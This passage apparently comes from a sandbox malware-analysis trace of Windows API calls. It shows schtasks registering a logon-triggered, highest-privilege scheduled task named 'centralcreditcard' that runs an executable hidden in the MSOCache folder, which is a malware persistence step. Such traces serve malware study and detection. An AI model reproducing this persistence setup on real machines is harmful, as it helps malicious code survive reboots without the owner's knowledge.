lpString1="ONLOGON", cchCount1=-1, lpString2="WEEKLY", cchCount2=-1) returned 1 [0081.744] GetProcessHeap () returned 0x110000 [0081.744] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x12ce00 [0081.744] _memicmp (_Buf1=0x12bc70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.744] LoadStringW (in: hInstance=0x0, uID=0x1b2, lpBuffer=0x12d480, cchBufferMax=256 | out: lpBuffer="MONTHLY") returned 0x7 [0081.744] lstrlenW (lpString="MONTHLY") returned 7 [0081.744] GetProcessHeap () returned 0x110000 [0081.744] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x10) returned 0x12d7e0 [0081.744] GetThreadLocale () returned 0x409 [0081.744] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MONTHLY", cchCount2=-1) returned 3 [0081.744] _memicmp (_Buf1=0x12bc70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.744] LoadStringW (in: hInstance=0x0, uID=0x1b3, lpBuffer=0x12d480, cchBufferMax=256 | out: lpBuffer="ONCE") returned 0x4 [0081.744] lstrlenW (lpString="ONCE") returned 4 [0081.744] GetProcessHeap () returned 0x110000 [0081.744] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0xa) returned 0x12d800 [0081.744] GetThreadLocale () returned 0x409 [0081.744] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONCE", cchCount2=-1) returned 3 [0081.744] _memicmp (_Buf1=0x12bc70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.744] LoadStringW (in: hInstance=0x0, uID=0x1b4, lpBuffer=0x12d480, cchBufferMax=256 | out: lpBuffer="ONSTART") returned 0x7 [0081.744] lstrlenW (lpString="ONSTART") returned 7 [0081.744] GetThreadLocale () returned 0x409 [0081.744] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONSTART", cchCount2=-1) returned 1 [0081.744] _memicmp (_Buf1=0x12bc70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.744] LoadStringW (in: hInstance=0x0, uID=0x1b5, lpBuffer=0x12d480, cchBufferMax=256 | out: lpBuffer="ONLOGON") returned 0x7 [0081.745] lstrlenW (lpString="ONLOGON") returned 7 [0081.745] GetThreadLocale () returned 0x409 [0081.745] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONLOGON", cchCount2=-1) returned 2 [0081.745] SetLastError (dwErrCode=0x0) [0081.745] GetProcessHeap () returned 0x110000 [0081.745] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x1fc) returned 0x12c670 [0081.745] _memicmp (_Buf1=0x12bc70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.745] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x12d480, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0081.745] lstrlenW (lpString="First") returned 5 [0081.745] _memicmp (_Buf1=0x12bc70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.745] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x12d480, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0081.745] lstrlenW (lpString="Second") returned 6 [0081.745] _memicmp (_Buf1=0x12bc70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.745] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x12d480, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0081.745] lstrlenW (lpString="Third") returned 5 [0081.745] _memicmp (_Buf1=0x12bc70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.745] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x12d480, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0081.745] lstrlenW (lpString="Fourth") returned 6 [0081.745] _memicmp (_Buf1=0x12bc70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.745] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x12d480, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0081.745] lstrlenW (lpString="Last") returned 4 [0081.745] _memicmp (_Buf1=0x12bc70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.745] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x12d480, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0081.745] lstrlenW (lpString="First") returned 5 [0081.745] _memicmp (_Buf1=0x12bc70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.746] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x12d480, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0081.746] lstrlenW (lpString="Second") returned 6 [0081.746] _memicmp (_Buf1=0x12bc70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.746] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x12d480, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0081.746] lstrlenW (lpString="Third") returned 5 [0081.746] GetProcessHeap () returned 0x110000 [0081.746] GetProcessHeap () returned 0x110000 [0081.746] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12d800) returned 1 [0081.746] GetProcessHeap () returned 0x110000 [0081.746] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12d800) returned 0xa [0081.746] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12d800 | out: hHeap=0x110000) returned 1 [0081.746] GetProcessHeap () returned 0x110000 [0081.746] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0xc) returned 0x12d800 [0081.746] _memicmp (_Buf1=0x12bc70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.746] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x12d480, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0081.746] lstrlenW (lpString="Fourth") returned 6 [0081.746] _memicmp (_Buf1=0x12bc70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.746] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x12d480, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0081.746] lstrlenW (lpString="Last") returned 4 [0081.746] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xfc560, cchData=128 | out: lpLCData="0") returned 2 [0081.746] _memicmp (_Buf1=0x12bc70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.746] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x12d480, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0081.746] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0081.746] GetProcessHeap () returned 0x110000 [0081.747] GetProcessHeap () returned 0x110000 [0081.747] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12d720) returned 1 [0081.747] GetProcessHeap () returned 0x110000 [0081.747] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12d720) returned 0x10 [0081.747] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12d720 | out: hHeap=0x110000) returned 1 [0081.747] GetProcessHeap () returned 0x110000 [0081.747] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x16) returned 0x12d720 [0081.747] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xfc580, cchData=128 | out: lpLCData="0") returned 2 [0081.747] _memicmp (_Buf1=0x12bc70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.747] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x12d480, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0081.747] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0081.747] GetProcessHeap () returned 0x110000 [0081.747] GetProcessHeap () returned 0x110000 [0081.747] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12d740) returned 1 [0081.747] GetProcessHeap () returned 0x110000 [0081.747] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12d740) returned 0x10 [0081.747] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12d740 | out: hHeap=0x110000) returned 1 [0081.747] GetProcessHeap () returned 0x110000 [0081.747] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x16) returned 0x12d740 [0081.747] GetLocalTime (in: lpSystemTime=0xfc7b0 | out: lpSystemTime=0xfc7b0*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0x6, wMilliseconds=0x69)) [0081.747] GetLocalTime (in: lpSystemTime=0xfd068 | out: lpSystemTime=0xfd068*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0x6, wMilliseconds=0x69)) [0081.747] lstrlenW (lpString="") returned 0 [0081.747] lstrlenW (lpString="") returned 0 [0081.747] lstrlenW (lpString="") returned 0 [0081.747] lstrlenW (lpString="") returned 0 [0081.748] lstrlenW (lpString="") returned 0 [0081.748] lstrlenW (lpString="") returned 0 [0081.748] lstrlenW (lpString="") returned 0 [0081.748] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0081.765] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0081.912] CoCreateInstance (in: rclsid=0xff901ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff901ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0xfce30 | out: ppv=0xfce30*=0x4158c0) returned 0x0 [0081.923] TaskScheduler:ITaskService:Connect (This=0x4158c0, serverName=0xfcf10*(varType=0x8, wReserved1=0xf, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0xfced0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0xfcef0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xfceb0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0082.035] TaskScheduler:IUnknown:AddRef (This=0x4158c0) returned 0x2 [0082.035] TaskScheduler:ITaskService:GetFolder (in: This=0x4158c0, Path=0x0, ppFolder=0xfcfc8 | out: ppFolder=0xfcfc8*=0x415a80) returned 0x0 [0082.038] TaskScheduler:ITaskService:NewTask (in: This=0x4158c0, flags=0x0, ppDefinition=0xfcfc0 | out: ppDefinition=0xfcfc0*=0x4164f0) returned 0x0 [0082.039] ITaskDefinition:get_Actions (in: This=0x4164f0, ppActions=0xfcf40 | out: ppActions=0xfcf40*=0x4165b0) returned 0x0 [0082.039] IActionCollection:Create (in: This=0x4165b0, Type=0, ppAction=0xfcf60 | out: ppAction=0xfcf60*=0x416920) returned 0x0 [0082.039] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'") returned 86 [0082.039] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'") returned 86 [0082.039] lstrlenW (lpString=" ") returned 1 [0082.039] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0082.039] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0082.039] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0082.039] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0082.039] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0082.039] StrChrW (lpStart=" ", wMatch=0x4d) returned 0x0 [0082.039] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0082.039] StrChrW (lpStart=" ", wMatch=0x4f) returned 0x0 [0082.040] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0082.040] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0082.040] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0082.040] StrChrW (lpStart=" ", wMatch=0x68) returned 0x0 [0082.040] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0082.040] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0082.040] StrChrW (lpStart=" ", wMatch=0x41) returned 0x0 [0082.040] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0082.040] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0082.040] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0082.040] StrChrW (lpStart=" ", wMatch=0x55) returned 0x0 [0082.040] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0082.040] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0082.040] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0082.040] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0082.040] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0082.040] StrChrW (lpStart=" ", wMatch=0x7b) returned 0x0 [0082.040] StrChrW (lpStart=" ", wMatch=0x39) returned 0x0 [0082.040] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0082.040] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0082.040] StrChrW (lpStart=" ", wMatch=0x36) returned 0x0 [0082.040] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0082.040] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0082.040] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0082.040] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0082.041] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0082.041] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0082.041] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0082.041] StrChrW (lpStart=" ", wMatch=0x45) returned 0x0 [0082.041] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0082.041] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0082.041] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0082.041] StrChrW (lpStart=" ", wMatch=0x34) returned 0x0 [0082.041] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0082.041] StrChrW (lpStart=" ", wMatch=0x39) returned 0x0 [0082.041] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0082.041] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0082.041] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0082.041] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0082.041] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0082.041] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0082.041] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0082.041] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0082.041] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0082.041] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0082.041] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0082.041] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0082.041] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0082.041] StrChrW (lpStart=" ", wMatch=0x46) returned 0x0 [0082.041] StrChrW (lpStart=" ", wMatch=0x46) returned 0x0 [0082.041] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0082.041] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0082.041] StrChrW (lpStart=" ", wMatch=0x45) returned 0x0 [0082.041] StrChrW (lpStart=" ", wMatch=0x7d) returned 0x0 [0082.041] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0082.041] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0082.042] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0082.042] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0082.042] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0082.042] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0082.042] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0082.042] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0082.042] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0082.042] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0082.042] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0082.042] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0082.042] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0082.042] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0082.042] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0082.042] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0082.042] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0082.042] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0082.042] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0082.042] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0082.042] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0082.042] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0082.042] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0082.042] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0082.042] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0082.042] IUnknown:Release (This=0x416920) returned 0x1 [0082.042] IUnknown:Release (This=0x4165b0) returned 0x1 [0082.042] ITaskDefinition:get_Triggers (in: This=0x4164f0, ppTriggers=0xfcac0 | out: ppTriggers=0xfcac0*=0x4166f0) returned 0x0 [0082.043] ITriggerCollection:Create (in: This=0x4166f0, Type=9, ppTrigger=0xfcab8 | out: ppTrigger=0xfcab8*=0x416990) returned 0x0 [0082.043] IUnknown:QueryInterface (in: This=0x416990, riid=0xff901c48*(Data1=0x72dade38, Data2=0xfae4, Data3=0x4b3e, Data4=([0]=0xba, [1]=0xf4, [2]=0x5d, [3]=0x0, [4]=0x9a, [5]=0xf0, [6]=0x2b, [7]=0x1c)), ppvObject=0xfcab0 | out: ppvObject=0xfcab0*=0x416990) returned 0x0 [0082.043] IUnknown:Release (This=0x416990) returned 0x2 [0082.043] _vsnwprintf (in: _Buffer=0xfca00, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0xfc9d8 | out: _Buffer="2023-09-19T17:17:00") returned 19 [0082.043] ITrigger:put_StartBoundary (This=0x416990, StartBoundary="2023-09-19T17:17:00") returned 0x0 [0082.043] lstrlenW (lpString="") returned 0 [0082.043] lstrlenW (lpString="") returned 0 [0082.043] lstrlenW (lpString="") returned 0 [0082.043] lstrlenW (lpString="") returned 0 [0082.043] IUnknown:Release (This=0x416990) returned 0x1 [0082.043] IUnknown:Release (This=0x4166f0) returned 0x1 [0082.043] ITaskDefinition:get_Settings (in: This=0x4164f0, ppSettings=0xfcf60 | out: ppSettings=0xfcf60*=0x416760) returned 0x0 [0082.044] lstrlenW (lpString="") returned 0 [0082.044] IUnknown:Release (This=0x416760) returned 0x1 [0082.044] GetLocalTime (in: lpSystemTime=0xfce18 | out: lpSystemTime=0xfce18*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0x6, wMilliseconds=0x191)) [0082.044] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffcb0000 [0082.044] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetUserNameW") returned 0x7feffcc1fd0 [0082.044] GetUserNameW (in: lpBuffer=0xfce40, pcbBuffer=0xfce28 | out: lpBuffer="kEecfMwgj", pcbBuffer=0xfce28) returned 1 [0082.044] ITaskDefinition:get_RegistrationInfo (in: This=0x4164f0, ppRegistrationInfo=0xfce10 | out: ppRegistrationInfo=0xfce10*=0x416630) returned 0x0 [0082.045] IRegistrationInfo:put_Author (This=0x416630, Author="") returned 0x0 [0082.045] _vsnwprintf (in: _Buffer=0xfce40, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0xfcdd8 | out: _Buffer="2023-09-19T17:17:06") returned 19 [0082.045] IRegistrationInfo:put_Date (This=0x416630, Date="") returned 0x0 [0082.045] IUnknown:Release (This=0x416630) returned 0x1 [0082.045] malloc (_Size=0x18) returned 0x416a80 [0082.045] free (_Block=0x416a80) [0082.045] lstrlenW (lpString="") returned 0 [0082.045] ITaskDefinition:get_Principal (in: This=0x4164f0, ppPrincipal=0xfd030 | out: ppPrincipal=0xfd030*=0x416870) returned 0x0 [0082.045] IPrincipal:put_RunLevel (This=0x416870, RunLevel=1) returned 0x0 [0082.045] IUnknown:Release (This=0x416870) returned 0x1 [0082.045] malloc (_Size=0x18) returned 0x416a80 [0082.045] ITaskFolder:RegisterTaskDefinition (in: This=0x415a80, Path="centralcreditcard", pDefinition=0x4164f0, flags=6, UserId=0xfd0b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xfd0f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xfefc0, varVal2=0xfe), LogonType=3, sddl=0xfd0d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0xfcfd0 | out: ppTask=0xfcfd0*=0x416c30) returned 0x0 [0082.567] free (_Block=0x416a80) [0082.567] _memicmp (_Buf1=0x12bc70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.567] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x12d480, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0082.567] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0082.567] GetProcessHeap () returned 0x110000 [0082.567] GetProcessHeap () returned 0x110000 [0082.567] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12d760) returned 1 [0082.567] GetProcessHeap () returned 0x110000 [0082.567] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12d760) returned 0xe [0082.567] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12d760 | out: hHeap=0x110000) returned 1 [0082.567] GetProcessHeap () returned 0x110000 [0082.567] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x82) returned 0x149e70 [0082.567] _vsnwprintf (in: _Buffer=0xfd710, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0xfcf78 | out: _Buffer="SUCCESS: The scheduled task \"centralcreditcard\" has successfully been created.\n") returned 79 [0082.567] _fileno (_File=0x7feffe22ab0) returned -2 [0082.567] _errno () returned 0x414bb0 [0082.568] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0082.568] SetLastError (dwErrCode=0x6) [0082.568] lstrlenW (lpString="SUCCESS: The scheduled task \"centralcreditcard\" has successfully been created.\n") returned 79 [0082.568] GetConsoleOutputCP () returned 0x0 [0082.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"centralcreditcard\" has successfully been created.\n", cchWideChar=79, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 79 [0082.568] GetConsoleOutputCP () returned 0x0 [0082.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"centralcreditcard\" has successfully been created.\n", cchWideChar=79, lpMultiByteStr=0xff941880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"centralcreditcard\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 79 [0082.568] fprintf (in: _File=0x7feffe22ab0, _Format="%s" | out: _File=0x7feffe22ab0) returned 79 [0082.568] fflush (in: _File=0x7feffe22ab0 | out: _File=0x7feffe22ab0) returned -1 [0082.568] IUnknown:Release (This=0x416c30) returned 0x0 [0082.568] TaskScheduler:IUnknown:Release (This=0x4164f0) returned 0x0 [0082.568] TaskScheduler:IUnknown:Release (This=0x415a80) returned 0x0 [0082.568] TaskScheduler:IUnknown:Release (This=0x4158c0) returned 0x1 [0082.568] lstrlenW (lpString="") returned 0 [0082.568] GetProcessHeap () returned 0x110000 [0082.568] GetProcessHeap () returned 0x110000 [0082.569] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12c670) returned 1 [0082.569] GetProcessHeap () returned 0x110000 [0082.569] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12c670) returned 0x1fc [0082.569] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12c670 | out: hHeap=0x110000) returned 1 [0082.569] GetProcessHeap () returned 0x110000 [0082.569] GetProcessHeap () returned 0x110000 [0082.569] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12d6e0) returned 1 [0082.569] GetProcessHeap () returned 0x110000 [0082.569] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12d6e0) returned 0x16 [0082.569] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12d6e0 | out: hHeap=0x110000) returned 1 [0082.569] GetProcessHeap () returned 0x110000 [0082.570] GetProcessHeap () returned 0x110000 [0082.570] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12d6c0) returned 1 [0082.570] GetProcessHeap () returned 0x110000 [0082.570] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12d6c0) returned 0x18 [0082.570] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12d6c0 | out: hHeap=0x110000) returned 1 [0082.570] GetProcessHeap () returned 0x110000 [0082.570] GetProcessHeap () returned 0x110000 [0082.570] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12cf80) returned 1 [0082.570] GetProcessHeap () returned 0x110000 [0082.570] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12cf80) returned 0x20 [0082.570] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12cf80 | out: hHeap=0x110000) returned 1 [0082.570] GetProcessHeap () returned 0x110000 [0082.571] GetProcessHeap () returned 0x110000 [0082.571] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12c1d0) returned 1 [0082.571] GetProcessHeap () returned 0x110000 [0082.571] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12c1d0) returned 0xa0 [0082.571] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12c1d0 | out: hHeap=0x110000) returned 1 [0082.571] GetProcessHeap () returned 0x110000 [0082.571] GetProcessHeap () returned 0x110000 [0082.571] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12bc50) returned 1 [0082.571] GetProcessHeap () returned 0x110000 [0082.571] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12bc50) returned 0x18 [0082.571] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12bc50 | out: hHeap=0x110000) returned 1 [0082.571] GetProcessHeap () returned 0x110000 [0082.571] GetProcessHeap () returned 0x110000 [0082.571] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12cd10) returned 1 [0082.571] GetProcessHeap () returned 0x110000 [0082.571] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12cd10) returned 0x20 [0082.572] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12cd10 | out: hHeap=0x110000) returned 1 [0082.572] GetProcessHeap () returned 0x110000 [0082.572] GetProcessHeap () returned 0x110000 [0082.572] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12c5b0) returned 1 [0082.573] GetProcessHeap () returned 0x110000 [0082.573] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12c5b0) returned 0xae [0082.573] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12c5b0 | out: hHeap=0x110000) returned 1 [0082.573] GetProcessHeap () returned 0x110000 [0082.573] GetProcessHeap () returned 0x110000 [0082.573] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12d700) returned 1 [0082.573] GetProcessHeap () returned 0x110000 [0082.573] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12d700) returned 